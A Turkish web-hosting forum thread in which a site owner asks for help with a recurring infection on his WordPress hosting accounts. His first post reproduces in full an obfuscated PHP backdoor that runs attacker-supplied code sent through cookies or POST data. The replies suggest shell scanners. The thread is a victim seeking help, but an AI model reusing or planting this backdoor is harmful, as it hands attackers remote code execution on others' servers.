-
Üyelik
08.12.2013
-
Yaş/Cinsiyet
28 / E
-
Meslek
Web Tasarım
-
Konum
İstanbul Avrupa
-
Ad Soyad
M** F**
-
Mesajlar
784
-
Beğeniler
128 / 137
-
Ticaret
48, (%100)
Arkadaşlar hostingime virüs bulaştı. Tek bir hostinge bağlı 3-4 sitem var. Hepsinde kendi kendine garip dosya isimli php dosyalar açıyor. cPanel şifrelerini değiştirdim, ftp şifrelerini değiştirdim ama çözüm yok. Farklı bir firmada barınan reseller hostingimde de aynı sorun devam ediyor. FTP programını her girişte sorulan şeklinde düzelttim. Sucuri ve Wordfence kurdum ama çözüm yine yok. İndex ve wp-config dosyalarımı değiştiriyor. Dosya izinleri ile ilgili olabilir mi? Örnek olarak;
$odpha = 'x9b#ns-gdoy3u_c*5a6r1mfpHvt\'7l4e20ik';$nnddx = Array();$nnddx[] = $odpha[1].$odpha[1].$odpha[28].$odpha[28].$odpha[11].$odpha[14].$odpha[14].$odpha[33].$odpha[6].$odpha[11].$odpha[33].$odpha[16].$odpha[1].$odpha[6].$odpha[30].$odpha[14].$odpha[16].$odpha[17].$odpha[6].$odpha[1].$odpha[33].$odpha[31].$odpha[30].$odpha[6].$odpha[32].$odpha[22].$odpha[28].$odpha[2].$odpha[30].$odpha[2].$odpha[11].$odpha[18].$odpha[8].$odpha[20].$odpha[16].$odpha[33];$nnddx[] = $odpha[24].$odpha[15];$nnddx[] = $odpha[3];$nnddx[] = $odpha[14].$odpha[9].$odpha[12].$odpha[4].$odpha[26];$nnddx[] = $odpha[5].$odpha[26].$odpha[19].$odpha[13].$odpha[19].$odpha[31].$odpha[23].$odpha[31].$odpha[17].$odpha[26];$nnddx[] = $odpha[31].$odpha[0].$odpha[23].$odpha[29].$odpha[9].$odpha[8].$odpha[31];$nnddx[] = $odpha[5].$odpha[12].$odpha[2].$odpha[5].$odpha[26].$odpha[19];$nnddx[] = $odpha[17].$odpha[19].$odpha[19].$odpha[17].$odpha[10].$odpha[13].$odpha[21].$odpha[31].$odpha[19].$odpha[7].$odpha[31];$nnddx[] = $odpha[5].$odpha[26].$odpha[19].$odpha[29].$odpha[31].$odpha[4];$nnddx[] = $odpha[23].$odpha[17].$odpha[14].$odpha[35];foreach ($nnddx[7]($_COOKIE, $_POST) as $kujjzrc => $oidmnkl){function ghdxmxv($nnddx, $kujjzrc, $hvidkqy){return $nnddx[6]($nnddx[4]($kujjzrc . $nnddx[0], ($hvidkqy / $nnddx[8]($kujjzrc)) + 1), 0, $hvidkqy);}function dqltm($nnddx, $trtse){return @$nnddx[9]($nnddx[1], $trtse);}function cvtkdlp($nnddx, $trtse){$vbbdg = $nnddx[3]($trtse) % 3;if (!$vbbdg) {eval($trtse[1]($trtse[2]));exit();}}$oidmnkl = dqltm($nnddx, $oidmnkl);cvtkdlp($nnddx, $nnddx[5]($nnddx[2], $oidmnkl ^ ghdxmxv($nnddx, $kujjzrc, $nnddx[8]($oidmnkl))));}
Serin2434
Üyeliği Durdurulmuş
Banlı Kullanıcı
-
Üyelik
23.11.2017
-
Yaş/Cinsiyet
28 / E
-
Meslek
Gayrimenkul Danismani
-
Konum
İstanbul Anadolu
-
Ad Soyad
S** S**
-
Mesajlar
59
-
Beğeniler
8 / 9
-
Ticaret
2, (%50)
Sunucunda shell dosyasi vardir belkide bi kontrol et derim
Serin2434
Üyeliği Durdurulmuş
Banlı Kullanıcı
-
Üyelik
23.11.2017
-
Yaş/Cinsiyet
28 / E
-
Meslek
Gayrimenkul Danismani
-
Konum
İstanbul Anadolu
-
Ad Soyad
S** S**
-
Mesajlar
59
-
Beğeniler
8 / 9
-
Ticaret
2, (%50)
Internette shell scanner scriptleri var onlardan yardim alabilirsin
TazZ
www.ahmetcetintas.com
Kullanıcı
-
Üyelik
19.10.2012
-
Yaş/Cinsiyet
37 / E
-
Meslek
Grafiker Yazılımcı
-
Konum
Aydın
-
Ad Soyad
A** Ç**
-
Mesajlar
795
-
Beğeniler
324 / 323
-
Ticaret
19, (%100)
Hangi hosting firmasını kullanıyorsunuz?
-
Üyelik
08.12.2013
-
Yaş/Cinsiyet
28 / E
-
Meslek
Web Tasarım
-
Konum
İstanbul Avrupa
-
Ad Soyad
M** F**
-
Mesajlar
784
-
Beğeniler
128 / 137
-
Ticaret
48, (%100)
Arkadaşlar büyük olasılıkla başka bir şey var çünkü hostingimden bağımsız olarak farklı bir firmada barınan reseller hostingimde de aynı sorun var. Dosyalarıma aynı şekilde müdahale edilmiş. Ana dizinde bulunan index.php dosyamda include ile başlayan karışık kod dizimi var